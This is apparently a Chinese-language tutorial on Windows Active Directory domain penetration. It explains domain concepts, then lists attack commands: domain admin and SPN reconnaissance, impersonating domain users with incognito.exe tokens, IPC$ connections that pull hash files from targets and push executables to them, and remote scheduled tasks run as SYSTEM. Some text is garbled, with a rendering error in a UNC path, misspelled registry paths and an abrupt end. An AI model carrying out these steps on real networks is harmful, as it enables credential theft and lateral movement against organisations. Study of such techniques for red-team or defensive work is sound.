初识域
- 什么是域
域(domain)是windows网络中独立运行的单位,将网络中多台计算机逻辑上组织在一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。 - 域控
在一个机器上装上活动目录以后,这个机器就会被称为域控。
在windows的域中,不使用主域控制器与备份域控制器。每个域控制器充当的都是一样的角色,比如你有三个域控制器,你可以在任何时候一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中,同样,如果一个域控制器发生故障,只要其他的域控制器还能正常工作,整个域还是可以正常运行 - 活动目录
active directory存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。对象可以是用户,组群,电脑,网域控制站,邮件,配置文件,组织单元,树系等等。 - 域用户
用户名和密码到域控制器去验证,也就是说你的账号和密码可以在同一域的任何一台计算机登录 - 域管
登录到域控制器上,对一切权限进行控制,而不用跑到每台电脑前进行设置了 - 组
公司很多员工的权限都是相同的,使用分组可以将不同用户放入不同的分组里,然后对组进行权限设置,这样就免去了我们要对每个用户进行设置的麻烦 - 信任域
在很多的实际情况中,一个公司又有下面的子公司,所以就造成母公司有一个域,而子公司也有一个单独的域。母公司的域与子公司的域如何联系起来?我们可以在它们之间建立一种叫做信任(Trust)的关系。如果母公司的账户想要能够登录到子公司的域中,子公司的域就要对母公司域建立信任关系。当母公司域的账户想要登录到子公司域中,子公司域由于信任母公司的域,所以它会听从母公司域的域控制器返回的access key。反过来,由于母公司的域没有建立相对子公司的信任,所以如果子公司的账户想要登录到母公司的域中是不可能的。
/domian_trusts 返回受信任域的列表
域信息收集
- 信任域:可以在工作组里查询,查询内网里是否有域环境
nltest /domain_trusts /all_trusts /v /server:域控IP
#域控制器一般是主dns服务器 ipconfig /all
#域控制器一般是时间服务器 net time
- 返回受信任域的域信息
nltest /dsgetdc:受信任域域名 /server:预控IP
- 域信息收集-csvde
csvde是windows server 2008的内置命令行工具,位于%windir%/system32文件夹中。如果安装了AD DS或者Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用
适用于 server 2003、server 2008、server 2003 r2、server 2008 r2、server 2012带有SP1,windows 8的windows server 2003
csvde -setspn 域的名字 -f hack.csv
返回域的一些信息
- 域信息收集-setspn
SPN官方名称即"服务主体名称”,本质上存的就是域内各种服务资源的对应关系,如对应的服务类型是什么,机器名是多少,服务端口是多少,借助SPN快速定位当前目标域中所有存活的各类服务器
setspn -T 域名 -Q */*
setspn -T 域名 -Q */* | findstr SQL
- 域信息收集-dnsdump
dnsdump.exe -u 域名\域用户 -p 域密码 域控制器名 -r
然后会生成一个records.csv文件
主机名和IP对应的关系
- 域信息收集-net
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查询域里面的组
net view 查看同一域内的机器列表
net view \\ip 查看某IP共享
net view \\GHQ 查看GHQ计算机共享资源列表
net view /domain 查看内网中存在多少域
net view /domain:XYZ 查看XYZ域的机器列表
- 域信息收集nbtscan
域渗透凭证窃取
通过tasklist /v 查看进程用户,如果有域用户的进程,则凭证窃取
用到工具 incognito.exe
查看本地保存有哪些凭证
incognito.exe list_tokens -u
窃取域用户凭证
incognito.exe execute -c "域名\用户" cmd.exe
命令行渗透
远程登录桌面增加暴露风险
目标管理员可能对服务器禁用远程登录
- ipc连接
建立ipc连接
可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令
上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径(简单来说以\开头的路径就是UNC路径,比如\192.168.1.2\cKaTeX parse error: Undefined control sequence: \users at position 1: \̲u̲s̲e̲r̲s̲) 例如:从本地当前目录上传1…\ 反之为下载
net use \\ip /u:域\用户名 密码 建立IP连接
copy sbn.exe. \\ip\c$\windows\temp 复制本地文件到目标服务器
copy \\ip\c$\windows\temp\hash.txt 复制目标服务器文件到本地
- 计划任务执行命令
#创建计划任务
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机子IP /RU system
#执行计划任务
schtasks /run /tn task1 /s 域机子IP /U 域\域用户 /P 域用户密码
#删除计划任务
schtasks /F /delete /tn task1 /s 域机子IP /U 域\域用户 /P 域用户密码
获取内网代理
内网有些资源可能需要挂上代理才可以访问
- ie代理
reg query "HKEY_CURRENT_USER\Sorfware\Microsoft\windows\CurrentVersion\Internet Settings" /v ProxyServer
- pac代理
reg query "HKEY_CURRENT_USER\Sorfware\Microsoft\windows\CurrentVersion\Internet Settings" /v AutoConfigURL
windows api使用
windows api利用工具 所有工具前提:建立ipc连接
- NetGroupGetUsers.exe
功能:查询域里的各个组里的成员,IP必须是域控IP,域用户随意
NetGroupGetUsers.exe domain users \\ip
- NetLocalGroupMembers.exe
功能:查询目标服务器本地管理组的成员
NetLocalGroupMembers administrators \\ip
- NetUserEnum.exe
功能:查询目标服务器所有用户,包括隐藏用户
NetUserEnum.exe \\ip
渗透思路
域渗透思路
适用于域渗透和工作组渗透思路